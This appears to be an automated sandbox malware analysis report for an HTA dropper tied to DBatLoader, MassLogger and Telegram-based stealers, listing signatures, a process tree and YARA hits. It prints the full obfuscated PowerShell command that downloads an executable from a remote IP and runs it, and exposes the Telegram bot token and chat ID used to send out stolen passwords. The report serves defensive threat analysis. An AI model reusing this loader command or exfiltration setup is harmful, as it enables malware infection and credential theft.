Edit tour

Windows Analysis Report
mybestgirlfriendwalkingaroundtheworld.hta

Overview

General Information

Sample name:	mybestgirlfriendwalkingaroundtheworld.hta
Analysis ID:	1636658
MD5:	ce2e5cf9073c55e909187a0d16b5dd2e
SHA1:	dd26f331ca3da30ea8e4065ec6da02bf0469e124
SHA256:	37657f99bb29fc5a5b2f2be621b0f17e619013cfe32a0b97c6e5c07e87699702
Tags:	htauser-abuse_ch
Infos:

Detection

Cobalt Strike, DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected Cobalt Strike Beacon

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DBatLoader

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Powershell decode and execute

Yara detected PureLog Stealer

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Allocates memory in foreign processes

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops PE files with a suspicious file extension

Drops PE files with benign system names

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

PowerShell case anomaly found

Powershell drops PE file

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Process Parents

Sigma detected: System File Execution Location Anomaly

Sigma detected: Windows Binaries Write Suspicious Extensions

Suspicious command line found

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Unusual Parent Process For Cmd.EXE

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7800 cmdline: mshta.exe "C:\Users\user\Desktop\mybestgirlfriendwalkingaroundtheworld.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 7916 cmdline: "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7120 cmdline: PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 6340 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 6424 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES43E7.tmp" "c:\Users\user\AppData\Local\Temp\xzofjfee\CSC4F15B4BDA3DF43B881AE17521298E1BA.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

csrss.exe (PID: 1812 cmdline: "C:\Users\user\AppData\Roaming\csrss.exe" MD5: 1A3D4243CF435EC6034F3814551150ED)

cmd.exe (PID: 7772 cmdline: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1020 cmdline: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\3185.cmd"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dajivhqI.pif (PID: 7196 cmdline: C:\\Users\\user\\Links\dajivhqI.pif MD5: C116D3604CEAFE7057D77FF27552C215)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM/sendMessage", "Telegram Stream": [{"ok": true, "result": {"message_id": 362, "from": {"id": 7653831104, "is_bot": true, "first_name": "kalidresult", "username": "Khalidresultobot"}, "chat": {"id": 6306897853, "first_name": "Enzo", "type": "private"}, "date": 1741825334, "document": {"file_name": "Userdata.txt", "mime_type": "text/plain", "file_id": "BQACAgQAAxkDAAIBamfSJTZJu-tPhGFrwOQsUq2Sx_JfAALTEgACQMeZUhbmbnkiTz5MNgQ", "file_unique_id": "AgAD0xIAAkDHmVI", "file_size": 881}, "caption": "user / Passwords /"}}]}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM", "Telegram Chatid": "6306897853"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.1358823987.000000000247E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5dfea:$a1: get_encryptedPassword 0x5dfbe:$a2: get_encryptedUsername 0x5e082:$a3: get_timePasswordChanged 0x5df9a:$a4: get_passwordField 0x5e000:$a5: set_encryptedPassword 0x5ddcd:$a7: get_logins 0x5d357:$a8: GetOutlookPasswords 0x5c86b:$a9: StartKeylogger 0x5b2c5:$a10: KeyLoggerEventArgs 0x5b294:$a11: KeyLoggerEventArgsEventHandler 0x5dea1:$a13: _encryptedPassword
00000010.00000002.2475304362.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21b0c:$a1: get_encryptedPassword 0x49a44:$a1: get_encryptedPassword 0x21ae0:$a2: get_encryptedUsername 0x49a18:$a2: get_encryptedUsername 0x21ba4:$a3: get_timePasswordChanged 0x49adc:$a3: get_timePasswordChanged 0x21abc:$a4: get_passwordField 0x499f4:$a4: get_passwordField 0x21b22:$a5: set_encryptedPassword 0x49a5a:$a5: set_encryptedPassword 0x218ef:$a7: get_logins 0x49827:$a7: get_logins 0x20e79:$a8: GetOutlookPasswords 0x48db1:$a8: GetOutlookPasswords 0x2038d:$a9: StartKeylogger 0x482c5:$a9: StartKeylogger 0x1ede7:$a10: KeyLoggerEventArgs 0x46d1f:$a10: KeyLoggerEventArgs 0x1edb6:$a11: KeyLoggerEventArgsEventHandler 0x46cee:$a11: KeyLoggerEventArgsEventHandler 0x219c3:$a13: _encryptedPassword
00000010.00000001.1355929269.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1d59c:$a1: get_encryptedPassword 0x1d570:$a2: get_encryptedUsername 0x1d634:$a3: get_timePasswordChanged 0x1d54c:$a4: get_passwordField 0x1d5b2:$a5: set_encryptedPassword 0x1d37f:$a7: get_logins 0x1c909:$a8: GetOutlookPasswords 0x1be1d:$a9: StartKeylogger 0x1a877:$a10: KeyLoggerEventArgs 0x1a846:$a11: KeyLoggerEventArgsEventHandler 0x1d453:$a13: _encryptedPassword
00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x21c97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x21195:$a3: \Google\Chrome\User Data\Default\Login Data 0x214a3:$a4: \Orbitum\User Data\Default\Login Data 0x2229b:$a5: \Kometa\User Data\Default\Login Data
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data
00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c8cc:$a1: get_encryptedPassword 0x1c8a0:$a2: get_encryptedUsername 0x1c964:$a3: get_timePasswordChanged 0x1c87c:$a4: get_passwordField 0x1c8e2:$a5: set_encryptedPassword 0x1c6af:$a7: get_logins 0x1bc39:$a8: GetOutlookPasswords 0x1b14d:$a9: StartKeylogger 0x19ba7:$a10: KeyLoggerEventArgs 0x19b76:$a11: KeyLoggerEventArgsEventHandler 0x1c783:$a13: _encryptedPassword
00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: csrss.exe PID: 1812	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: dajivhqI.pif PID: 7196	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: dajivhqI.pif PID: 7196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dajivhqI.pif PID: 7196	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: dajivhqI.pif PID: 7196	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: dajivhqI.pif PID: 7196	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13cd0:$a1: get_encryptedPassword 0x33d56:$a1: get_encryptedPassword 0x9b0d3:$a1: get_encryptedPassword 0xaa549:$a1: get_encryptedPassword 0xcd486:$a1: get_encryptedPassword 0x13ca4:$a2: get_encryptedUsername 0x33d2a:$a2: get_encryptedUsername 0x9b0a7:$a2: get_encryptedUsername 0xaa51d:$a2: get_encryptedUsername 0xcd45a:$a2: get_encryptedUsername 0x13d68:$a3: get_timePasswordChanged 0x33dee:$a3: get_timePasswordChanged 0x9b16b:$a3: get_timePasswordChanged 0xaa5e1:$a3: get_timePasswordChanged 0xcd51e:$a3: get_timePasswordChanged 0x13c80:$a4: get_passwordField 0x33d06:$a4: get_passwordField 0x9b083:$a4: get_passwordField 0xaa4f9:$a4: get_passwordField 0xcd436:$a4: get_passwordField 0x13ce6:$a5: set_encryptedPassword
Click to see the 39 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.2.dajivhqI.pif.46b268.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
16.1.dajivhqI.pif.438038.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x2f2b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x2f930:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.2993e390.7.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.2993e390.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.2993e390.7.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.2993e390.7.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.2993e390.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
